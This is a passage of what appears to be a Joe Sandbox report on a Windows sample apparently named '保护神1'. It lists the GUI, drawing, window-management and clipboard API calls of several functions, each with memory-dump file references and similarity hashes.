          • IntersectRect.USER32(?,?,?), ref: 0043289E
          • LPtoDP.GDI32(?,?,00000002), ref: 004328DF
          • CreateRectRgnIndirect.GDI32(?), ref: 00432905
          • CreateRectRgnIndirect.GDI32(?), ref: 00432934
          • GetCurrentObject.GDI32(?,00000006), ref: 00432950
          • GetCurrentObject.GDI32(?,00000001), ref: 00432969
          • GetCurrentObject.GDI32(?,00000002), ref: 00432982
            • Part of subcall function 004980F3: SetBkMode.GDI32(?,?), ref: 0049810C
            • Part of subcall function 004980F3: SetBkMode.GDI32(?,?), ref: 0049811A
            • Part of subcall function 00494EE5: GetScrollPos.USER32(00000000,004160F3), ref: 00494F03
            • Part of subcall function 004321B0: CreateFontIndirectA.GDI32(00000000), ref: 00432202
          • FillRgn.GDI32(?,?,?), ref: 00432B62
          • IntersectRect.USER32(?,?,?), ref: 00432C47
          • IsRectEmpty.USER32(?), ref: 00432C52
          • LPtoDP.GDI32(?,?,00000002), ref: 00432C6F
          • CreateRectRgnIndirect.GDI32(?), ref: 00432C7A
          • CombineRgn.GDI32(?,?,?,00000004), ref: 00432CAB
          • DPtoLP.GDI32(?,?,00000002), ref: 00432CC9
            • Part of subcall function 004981DA: SetMapMode.GDI32(?,?), ref: 004981F3
            • Part of subcall function 004981DA: SetMapMode.GDI32(?,?), ref: 00498201
          • PatBlt.GDI32(?,?,?,?,?,00F00021), ref: 00432D08
          • IntersectRect.USER32(?,?,?), ref: 00432D9B
          • IsRectEmpty.USER32(?), ref: 00432DE1
          • SelectObject.GDI32(?,?), ref: 00432E1C
          • DPtoLP.GDI32(?,?,00000001), ref: 00432EA8
          • LPtoDP.GDI32(?,?,00000001), ref: 00432FC7
          • DPtoLP.GDI32(?,?,00000001), ref: 00432FE5
            • Part of subcall function 00498508: MoveToEx.GDI32(?,?,?,?), ref: 0049852A
            • Part of subcall function 00498508: MoveToEx.GDI32(?,?,?,?), ref: 0049853E
            • Part of subcall function 00498554: MoveToEx.GDI32(?,?,?,00000000), ref: 0049856E
            • Part of subcall function 00498554: LineTo.GDI32(?,?,?), ref: 0049857F
            • Part of subcall function 00498017: SelectObject.GDI32(0040B5D5,00000000), ref: 00498039
            • Part of subcall function 00498017: SelectObject.GDI32(0040B5D5,?), ref: 0049804F
          • IntersectRect.USER32(?,00000000,?), ref: 00433132
          • IsRectEmpty.USER32(00000000), ref: 0043313D
          • PatBlt.GDI32(?,00000000,?,?,?,00F00021), ref: 00433184
          • LPtoDP.GDI32(?,00000000,00000002), ref: 00433199
          • CreateRectRgnIndirect.GDI32(00000000), ref: 004331A4
          • CombineRgn.GDI32(?,?,?,00000004), ref: 004331D5
          • LPtoDP.GDI32(?,?,00000001), ref: 00433204
          • DPtoLP.GDI32(?,?,00000001), ref: 00433222
          • wsprintfA.USER32 ref: 004332C0
          • SelectObject.GDI32(?,?), ref: 004332E8
          • IntersectRect.USER32(?,?,?), ref: 00433858
          • IsRectEmpty.USER32(?), ref: 00433863
          • LPtoDP.GDI32(?,?,00000002), ref: 00433880
          • CreateRectRgnIndirect.GDI32(?), ref: 0043388B
          • CombineRgn.GDI32(?,?,?,00000004), ref: 004338BC
            • Part of subcall function 00434F30: SetRectEmpty.USER32(?), ref: 00434FAA
            • Part of subcall function 00434F30: GetSysColor.USER32(0000000F), ref: 004350DB
            • Part of subcall function 00434F30: IntersectRect.USER32(?,?,?), ref: 00435133
          • GetSysColor.USER32(0000000F), ref: 00432A46
            • Part of subcall function 00498A80: __EH_prolog.LIBCMT ref: 00498A85
            • Part of subcall function 00498A80: CreateSolidBrush.GDI32(?), ref: 00498AA2
            • Part of subcall function 00498A30: __EH_prolog.LIBCMT ref: 00498A35
            • Part of subcall function 00498A30: CreatePen.GDI32(?,?,?), ref: 00498A58
          • CreateRectRgnIndirect.GDI32(?), ref: 004327C6
            • Part of subcall function 00433D80: CopyRect.USER32(?,00000000), ref: 00433DF7
            • Part of subcall function 00433D80: IsRectEmpty.USER32(?), ref: 00433E02
            • Part of subcall function 00433D80: GetClientRect.USER32(00000000,?), ref: 00433E41
            • Part of subcall function 00433D80: DPtoLP.GDI32(?,?,00000002), ref: 00433E53
            • Part of subcall function 00433D80: LPtoDP.GDI32(?,?,00000002), ref: 00433E90
          • FillRect.USER32(?,?,?), ref: 00433BB9
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Rect$Create$IndirectIntersect$Object$Empty$ModeSelect$CombineCurrentH_prologMove$ClientColorFill$BeginBrushClipCopyFontLinePaintScrollSolidwsprintf
          • String ID: 0bCv
          • API String ID: 3423044801-4161728572
          • Opcode ID: 218135b4d1fc7fe3439cc0de3257e610f6e4c1a127194e605e5a8d6da1c92528
          • Instruction ID: a55e21807aa5ae12f53743e22577794012d6f199aa12f43717e8573040184d9f
          • Opcode Fuzzy Hash: 218135b4d1fc7fe3439cc0de3257e610f6e4c1a127194e605e5a8d6da1c92528
          • Instruction Fuzzy Hash: EAD258702083819FD724DF69C895FAFB7E9AFC9704F00491EF58A83250DB74A909CB66
          APIs
          • IsWindow.USER32(?), ref: 00419552
          • IsIconic.USER32(?), ref: 0041958A
          • SetActiveWindow.USER32(?,?,?), ref: 004195B3
          • IsWindow.USER32(?), ref: 004195DD
          • IsWindow.USER32(?), ref: 004198AE
          • DestroyAcceleratorTable.USER32(?), ref: 004199FE
          • DestroyMenu.USER32(?), ref: 00419A09
          • DestroyAcceleratorTable.USER32(?), ref: 00419A23
          • DestroyMenu.USER32(?), ref: 00419A32
          • DestroyAcceleratorTable.USER32(?), ref: 00419A92
          • DestroyMenu.USER32(?,000003EA,00000000,00000000,?,?,00000000,?,000007D9,00000000,00000000), ref: 00419AA1
          • SetParent.USER32(?,?), ref: 00419B23
          • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013,?,?), ref: 00419C3B
          • IsWindow.USER32(?), ref: 00419D6C
          • SendMessageA.USER32(?,0000806F,00000000,00000000), ref: 00419D81
          • SendMessageA.USER32(?,00008004,00000000,00000000), ref: 00419D9E
          • DestroyAcceleratorTable.USER32(?), ref: 00419DEC
          • IsWindow.USER32(?), ref: 00419E61
          • IsWindow.USER32(?), ref: 00419EB1
          • IsWindow.USER32(?), ref: 00419F01
          • IsWindow.USER32(?), ref: 00419F3E
          • IsWindow.USER32(?), ref: 00419FC1
          • GetParent.USER32(?), ref: 00419FCF
          • GetFocus.USER32 ref: 0041A010
            • Part of subcall function 004193D0: IsWindow.USER32(?), ref: 0041944B
            • Part of subcall function 004193D0: GetFocus.USER32 ref: 00419455
            • Part of subcall function 004193D0: IsChild.USER32(?,00000000), ref: 00419467
          • IsWindow.USER32(?), ref: 0041A06F
          • SendMessageA.USER32(?,00008076,00000000,00000000), ref: 0041A084
          • IsWindow.USER32(00000000), ref: 0041A097
          • GetFocus.USER32 ref: 0041A0A1
          • SetFocus.USER32(00000000), ref: 0041A0AC
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Window$Destroy$AcceleratorFocusTable$MenuMessageSend$Parent$ActiveChildIconic
          • String ID: d
          • API String ID: 3681805233-2564639436
          • Opcode ID: dd8035339d516935b65bc0bec51d97fb8ddc8e97e31e859a339492121040e53a
          • Instruction ID: cd48a66e179184230080ee54f4fb054059b8f3dcced41add5f97dd6c0ab63221
          • Opcode Fuzzy Hash: dd8035339d516935b65bc0bec51d97fb8ddc8e97e31e859a339492121040e53a
          • Instruction Fuzzy Hash: EE72CE716043419FD324DF25C890BABB7E9AF89744F04492EF94597381DB38EC85CBAA
          APIs
          • IsWindowEnabled.USER32(?), ref: 00421AD9
          • TranslateAcceleratorA.USER32(?,?,?,?), ref: 00421B33
          • IsChild.USER32(?,?), ref: 00421B64
          • GetFocus.USER32 ref: 00421CBF
          • PostMessageA.USER32(?,000000A1,00000002,00000000), ref: 00421D49
          • PostMessageA.USER32(?,000000A1,00000002,00000000), ref: 00421DB8
          • IsChild.USER32(?,00000000), ref: 00421E61
          • SendMessageA.USER32(?,00000010,00000000,00000000), ref: 00421E32
            • Part of subcall function 00417400: IsChild.USER32(?,?), ref: 0041747D
            • Part of subcall function 00417400: GetParent.USER32(?), ref: 00417497
          • IsWindow.USER32(?), ref: 00422739
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ChildMessage$PostWindow$AcceleratorEnabledFocusParentSendTranslate
          • String ID: 0$9$A$Z$hlp
          • API String ID: 3372979518-114186910
          • Opcode ID: c925ea9009cdea6f63f4c464d80b058fc836fe3ad05cc33887f4b13baf41c6f8
          • Instruction ID: cfda951a0476d57ef878b3eb5a310ede7a7c809f822b9a58d054be0c8b4fe3d9
          • Opcode Fuzzy Hash: c925ea9009cdea6f63f4c464d80b058fc836fe3ad05cc33887f4b13baf41c6f8
          • Instruction Fuzzy Hash: 0E72E070304351ABDB24DE24E990BABB7A4AF94304F50092FF955D73A1DB78EC41CB6A
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID: BGR$ ZYX$ baL$Gray color space not permitted on RGB PNG$PCS illuminant is not D50$RGB color space not permitted on grayscale PNG$YARG$caps$intent outside defined range$invalid ICC profile color space$invalid embedded Abstract ICC profile$invalid rendering intent$invalid signature$knil$lcmn$length does not match profile$psca$rncs$rtnm$rtrp$tag count too large$tsba$unexpected DeviceLink ICC profile class$unexpected ICC PCS encoding$unexpected NamedColor ICC profile class$unrecognized ICC profile class
          • API String ID: 0-319498373
          • Opcode ID: 62099fd52ba128b7290311778c7da3be3d20f675d5c64ec7ffd847f35b76eb9d
          • Instruction ID: a90f950dff8950a507342453337ff7cca7b9c9815c6ae276ddbdd7260ab2596e
          • Opcode Fuzzy Hash: 62099fd52ba128b7290311778c7da3be3d20f675d5c64ec7ffd847f35b76eb9d
          • Instruction Fuzzy Hash: 75915BE370455017FF08CE2C9C92A777B9AABC9305F5E84AFF988CA303E559C9058679
          APIs
          • IsIconic.USER32(?), ref: 00422C9C
          • IsZoomed.USER32(?), ref: 00422CAA
          • LoadLibraryA.KERNEL32(User32.dll,00000003,00000009), ref: 00422CD4
          • GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 00422CE7
          • GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 00422CF5
          • FreeLibrary.KERNEL32(00000000), ref: 00422D2B
          • SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00422D41
          • IsWindow.USER32(?), ref: 00422D6E
          • ShowWindow.USER32(?,00000005,?,?,?,?,00000004), ref: 00422D7B
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: AddressLibraryProcWindow$FreeIconicInfoLoadParametersShowSystemZoomed
          • String ID: GetMonitorInfoA$H$MonitorFromWindow$User32.dll
          • API String ID: 447426925-661446951
          • Opcode ID: 7fef8f198372bb4ad042d4d3233b687d17d0399a820c8a9ca298e47c0a501ccf
          • Instruction ID: df0cb89df2d47af5948d8b3e47712f01407c4293f6a13494fe65780cb9a50b8d
          • Opcode Fuzzy Hash: 7fef8f198372bb4ad042d4d3233b687d17d0399a820c8a9ca298e47c0a501ccf
          • Instruction Fuzzy Hash: 1D31D731700312AFEB109F65DC49F6B7BA8EF85B40F40852DF90197290EBB8DC058B69
          APIs
          • GetCurrentThreadId.KERNEL32 ref: 0041B875
          • IsWindow.USER32(00010440), ref: 0041B891
          • SendMessageA.USER32(00010440,000083E7,?,00000000), ref: 0041B8AA
          • ExitProcess.KERNEL32 ref: 0041B8BF
          • FreeLibrary.KERNEL32(?), ref: 0041B9A3
          • FreeLibrary.KERNEL32 ref: 0041B9F7
          • DestroyIcon.USER32(0007042B), ref: 0041BA47
          • DestroyIcon.USER32(0002042D), ref: 0041BA5E
          • IsWindow.USER32(00010440), ref: 0041BA75
          • DestroyIcon.USER32(?,00000001,00000000,000000FF), ref: 0041BB24
          • WSACleanup.WS2_32 ref: 0041BB6F
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: DestroyIcon$FreeLibraryWindow$CleanupCurrentExitMessageProcessSendThread
          • String ID:
          • API String ID: 3816745216-0
          • Opcode ID: c95ae4b76d3d57a86ea690571bb21adebd5a42f61585e54a872585f7637ae0cf
          • Instruction ID: 743b3a0c78ef6d300644174495b2f9ff13f64d7b58ac7ebf5b3413877411a457
          • Opcode Fuzzy Hash: c95ae4b76d3d57a86ea690571bb21adebd5a42f61585e54a872585f7637ae0cf
          • Instruction Fuzzy Hash: EFB158706007029BC724DF65C8D5BEBB7E4FF48304F44492EE59A97291CB38B981CB98
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: 837bcaad7e8da2bb30912cddc8c4b94392b7a6d291a778439b0591ced02fc6e2
          • Instruction ID: e1124756ad88e6338dfb0aa1a18aa5c0a8deb0845e378e54901e4450eba282c3
          • Opcode Fuzzy Hash: 837bcaad7e8da2bb30912cddc8c4b94392b7a6d291a778439b0591ced02fc6e2
          • Instruction Fuzzy Hash: 5EC1237A7046048FE710EF2AEC85AABB794FB84314F504C2FE846C7342D73AE9458799
          APIs
          • __EH_prolog.LIBCMT ref: 00492E35
          • FindResourceA.KERNEL32(?,00000000,00000005), ref: 00492E6D
          • LoadResource.KERNEL32(?,00000000,?,?,?,00000000), ref: 00492E75
            • Part of subcall function 00493C72: UnhookWindowsHookEx.USER32(?), ref: 00493C97
          • LockResource.KERNEL32(?,?,00000000,?,?,?,00000000), ref: 00492E82
          • IsWindowEnabled.USER32(?), ref: 00492EB5
          • EnableWindow.USER32(?,00000000), ref: 00492EC3
          • EnableWindow.USER32(?,00000001), ref: 00492F51
          • GetActiveWindow.USER32 ref: 00492F5C
          • SetActiveWindow.USER32(?,?,?,00000000,?,?,?,00000000), ref: 00492F6A
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Window$Resource$ActiveEnable$EnabledFindH_prologHookLoadLockUnhookWindows
          • String ID:
          • API String ID: 401145483-0
          • Opcode ID: 26f517485c3d00e2301c3a6ccd60f58aeb1ae5dcc912ee6e3801ea4832a49b48
          • Instruction ID: 5fe29d0f2135cb88a3e9b18dd12ec8a9749b250e7dfbc4f0ea23a971051c98b5
          • Opcode Fuzzy Hash: 26f517485c3d00e2301c3a6ccd60f58aeb1ae5dcc912ee6e3801ea4832a49b48
          • Instruction Fuzzy Hash: CF41A271900614AFCF21AF65CA49A6FBFB5AF44711F10053BF502A22A1CBB99D409B99
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: wsprintf
          • String ID:
          • API String ID: 2111968516-0
          • Opcode ID: db58516e07f48f594370e517b673d0fee49f24cbbadaa83ced703975a21f39c0
          • Instruction ID: d0e1dece39ae082e49864c1fe0609eca3016476cf22eb32685c8c4d6bcd78f9a
          • Opcode Fuzzy Hash: db58516e07f48f594370e517b673d0fee49f24cbbadaa83ced703975a21f39c0
          • Instruction Fuzzy Hash: 9D62C7B1A043019FD724DF25C880BAB77E5AFC5314F14452EF98A97381DB38E9868B5B
          APIs
          • GlobalAlloc.KERNEL32(00000042,?), ref: 00437997
          • GlobalLock.KERNEL32(00000000), ref: 004379B3
          • GlobalUnlock.KERNEL32(00000000), ref: 004379D5
          • OpenClipboard.USER32(00000000), ref: 004379DD
          • GlobalFree.KERNEL32(00000000), ref: 004379E9
          • EmptyClipboard.USER32 ref: 004379F1
          • SetClipboardData.USER32(0000C1B2,00000000), ref: 00437A03
          • CloseClipboard.USER32 ref: 00437A09
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
